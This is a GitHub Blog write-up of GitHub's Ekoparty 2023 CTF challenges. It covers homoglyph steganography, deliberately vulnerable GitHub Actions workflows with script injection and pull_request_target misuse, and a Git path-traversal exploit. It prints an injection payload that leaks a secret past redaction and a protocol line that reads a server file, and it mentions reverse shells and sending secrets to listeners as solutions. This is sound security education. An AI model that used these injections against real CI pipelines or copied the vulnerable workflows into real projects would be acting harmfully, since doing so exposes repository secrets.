As an Ekoparty 2023 sponsor, GitHub once again had the privilege of submitting several challenges to the event’s Capture The Flag (CTF) competition. Employees from across GitHub’s Security organization came together to brainstorm, plan, build, and test these challenges to create a compelling, educational, and challenging series of problems for players to solve.
Our focus this year returned to GitHub and Git functionality, both to provide challenges contextually relevant to GitHub users and to help educate the security community about some common security challenges when using these tools.
This year’s theme was “retro,” and as such, some of our challenges were based around the fictional OctoHigh High School in the year 1994.
Challenge #1: Entrypoint (Steganography-Easy)
Similar to last year, to get initial access to challenges 1, 2, and 3, players were directed to a (now private) repository where they could “sign up” to spawn the challenges.
This repository was not only the entry point for the challenges, but it also contained a hidden flag. Players were given a(n obvious) pointer to this in the comment with sign-up instructions suggesting there was a hidden flag in the repository.
The flag, in this case, was included in the README.md of the repository and made use of characters outside of the a-zA-Z0-9 space. While manual inspection had the potential to reveal the flag, homoglyphs can be very hard to spot, so a programmatic approach was potentially ideal.
The README.md file
Welcome to OctoHigh, the #1 rated High School in the Octoverse! If you want to participate in the end-of-the-school-year challenges this year, head over to this issue, and sign up!
OcτoHigh, tʜe fictional high school nestlêd in the heart of a vibrant and picturesque town, ʜas long held the title of the best high school Ꭵn the country, and its reputation is well-ժeserved. What sets OctoHigh apart is its unwavering commitment to fostering both academic excellence and personal growth. The school boasts a faculty of ժistinguished educators who not only impart knowledge but also inspire and mentor their students. With small class sizes, personalized attention, and a wide array of advanced courses, OctoHigh consistently ranks at the top in national academic competitions and college admissions.
Beyond academics, OctoHigh takes pride in its divěrse and inclusive community. Students from all backgrounds come together to create a tapestry of cultures and experieɴces, fostering a sense of unity and understanding that extends beyond the classroom. This rich environment encourages students to explore their interests, whether in the arts, sports, or community service. Ϝacilities at the school are state-of-the-art incᏞuding a top-tier performing arts center, a championship-level sports complex, and a community garden, provide the perfect setting for students to thrive in their chosen pursuits.
What truly makes OctoHigh stand out is its commitment to charɑcter development. The school’s comprehensive character education program helps students grow into well-rounded individuals who value integrity, empathy, and social responsibility. ɢraduates of OctoHigh are not just academᎥcally accomplished; they are also compassionate and responᏚible citizens who are well-prepared to make a positive impact on the world. It’s no wonder that OctoᎻigh continues to bė celebrated as the best high school in the countᚱy, as it combines academic excěllence, inclusivity, and character development to provide students with the tools they need to succeed in both their academic and personal lives.
Also, they have the top rated CTF team in the world!
An example solution to this challenge would be the following Python script:
string =
regex_pattern = r'[a-zA-Z0-9-,.;!\' ]'
non_matching_characters = [char for char in string if not re.match(regex_pattern, char)]
non_matching_string = ''.join(non_matching_characters)
print(non_matching_string)
> τʜêʜᎥժժěɴϜᏞɑɢᎥᏚᎻėᚱě
As the flag submission system did not support these characters, players were instructed to transpose them to lowercase “a-z” equivalents when submitting the flag.
Challenge #2: Snarky Comments (Web/Code Injection-Easy)
Our second and third challenges were plays on GitHub Security Lab’s series of articles about securing GitHub Actions workflows. The Snarky Comments challenge focused on the possibility of code injection when parsing the body of an issue.
Players were prompted to create an issue in their challenge repository reviewing their favorite teacher of the year using a template. This issue would then be parsed by a workflow and the result would be (theoretically) submitted somewhere.
The workflow
name: Parse review of teacher
on:
issues:
types: [opened, edited]
jobs:
parse-review:
runs-on: ubuntu-latest
steps:
- name: Extract Teacher name and review from issue body
id: extract-review
env:
db_pass: ${{ secrets.FLAG }} # Do we still need this to write to the DB?
run: |
TEACHER=$(echo '${{ github.event.issue.body }}' | grep -oP 'Teacher:.*$')
REVIEW=$(echo '${{ github.event.issue.body }}' | grep -vP 'Teacher:.*$')
echo "::set-output name=teacher::$TEACHER"
echo "::set-output name=review::$REVIEW"
- name: Comment on issue
uses: actions/github-script@v5
with:
github-token: ${{secrets.GITHUB_TOKEN}}
script: |
const issueComment = {
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: ${{ github.event.issue.number }},
body: `Thank you for reviewing ${'{{ steps.extract-review.outputs.teacher }}'}! Your review was:
${'{{ steps.extract-review.outputs.review }}'}`
};
github.rest.issues.createComment(issueComment);
This workflow contains one significant vulnerability—it’s evaluating the raw input from the comment body in the fields parsed for TEACHER and REVIEW. With this considered, it’s possible to run just about anything you wish.
There are a variety of ways to solve this challenge, with the simplest being an injection of $(echo $db_pass | rev)
to echo the flag in a form that will not be automatically redacted in the workflow’s output.
Other solutions included creating a reverse shell to pull the environment variable manually, using the environment variables as a payload to send to a listener (for example, ngrok, Burp Collaborator), and many others.
Challenge #3: Fork & Knife (Web-Easy)
Similar to the Snarky Comments challenge, Fork & Knife also focused on GitHub Actions, but rather than a specific injection it highlighted the scenario described in part 1 of the series linked above—the use of “pull_request_target” in an untrusted and potentially sensitive context.
Players were presented with their “final exam” for the school year, with direction to fork the repository and open a pull request with a working version of a script included in the repository that would pass a specified validation check against an undisclosed environment variable.
While it would be possible to make the example code compile and run, and potentially brute force the flag with that approach, it would be practically impossible without hitting rate limits on GitHub.com. Instead, players needed to take advantage of the workflow grading their submission’s use of on: pull_request_target
.
For those unfamiliar with GitHub Actions, the brief explanation is that when using pull_request_target
, secrets available to the repository the pull request targets can be made available to the requesting workflow. This means that a workflow submitted by a user who does not have access to the repository’s secrets will be able to use and retrieve those secrets.
The workflow
on:
pull_request_target
jobs:
build:
name: Grade the test
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
with:
ref: ${{ github.event.pull_request.head.sha }}
- name: Run build & tests
id: build_and_test
env:
EXPECTED_OUTPUT: ${{ secrets.FLAG }}
run: |
/bin/bash ./build.sh > output.txt && /bin/bash ./test.sh
- uses: actions/github-script@v3
with:
github-token: ${{secrets.GITHUB_TOKEN}}
script: |
github.issues.createComment({
issue_number: context.issue.number,
owner: context.repo.owner,
repo: context.repo.repo,
body: "👋 Your code looks great, good job! You've passed the exam!"
})
While there’s no direct injection opportunity here like in Snarky Comments, the use of pull_request_target
means that the EXPECTED_OUTPUT
environment variable will be populated when the workflow runs. Since this is also going to be running the build.sh file present in the fork rather than the parent repository the player can do whatever they wish.
Similar to the previous challenge, there are multiple feasible solutions including:
echo
ing ing the environment variable to stderr in a form that will bypass automation redaction.- Sending the environment variable’s contents as the payload to a remote listener.
- Creating a reverse shell and retrieving the value manually.
Challenge #4: Git #1 (Forensics-Easy)
Our next two challenges focused primarily on Git, and the mechanics of a Git repository.
In our first of these challenges, players were presented with the IP for a remote server, and a set of credentials with which to access it.
- IP: xxx.xxx.xxx.xxx
- username: git
- password: ekoparty-2023-ctf
Once connected using SSH, players may notice that this was actually a git-shell environment, and could use that to list repositories available on the server. With the “git.git” repository identified, players could then clone it locally to start looking for a flag.
At this point, keen-eyed players may have noticed that this repository is largely a copy of the https://github.com/git/git repository and that the challenge is to find differences between the actual repository and this version. In this case, the repository made available has an extra tag. It’s possible to either manually identify this with git tag -l
, or by adding the challenge version of the repository as an alternative remote and comparing the tags:
git clone https://github.com/git/git.git
cd git/
git remote add ekoparty git@40.119.46.123:~/git.git
git fetch ekoparty --tags
Once the “v2.34.9” tag is found, it can be checked out and “flag1.txt” is available.
Incidentally, this also includes a Dockerfile which can be used as a hint for the next challenge.
Challenge #5: Git #2 (Forensics-Medium)
From the Dockerfile found in the first challenge, players can figure out that there’s another Git repository on the server:
git clone git@40.119.46.123:~/git-local
The Dockerfile also shows that an extra tag (secondflag) was added but then removed from the git-local repository. The hash of the commit has been stored in the file ~/flagref
. Also, the allowanysha1inwant
configuration has been enabled, which will let us get the content of the commit even though the tag is gone, provided we know the commit hash.
The source code has been modified to enable a path traversal on ref names. Also, a new upload command called “want-ref”, which is normally only available in the v2 protocol, has been added to the v0 protocol. We can use this to read ~/flagref
like this:
echo "001fwant-ref refs/../../flagref0000" | ssh git@40.119.46.123 "git-upload-pack '~/git.git'"
Which prints this error message:
00000049ERR upload-pack: not our ref 576d2a3b4a9ef71499faeab83ef0ad141ce44496
Now, we can get that commit like this:
cd git-local
git fetch origin 576d2a3b4a9ef71499faeab83ef0ad141ce44496
git checkout 576d2a3b4a9ef71499faeab83ef0ad141ce44496
Voilà! The flag has been checked out and is available as “flag2.txt.”
See you next time!
We thank Ekoparty for the opportunity to again contribute to their great event, and hope that you enjoyed our challenges. Happy hacking!
The post GitHub and the Ekoparty 2023 Capture the Flag appeared first on The GitHub Blog.
The GitHub Security Lab teamed up with Ekoparty once again to create some challenges for its yearly Capture the Flag competition!
The post GitHub and the Ekoparty 2023 Capture the Flag appeared first on The GitHub Blog.
Social Plugin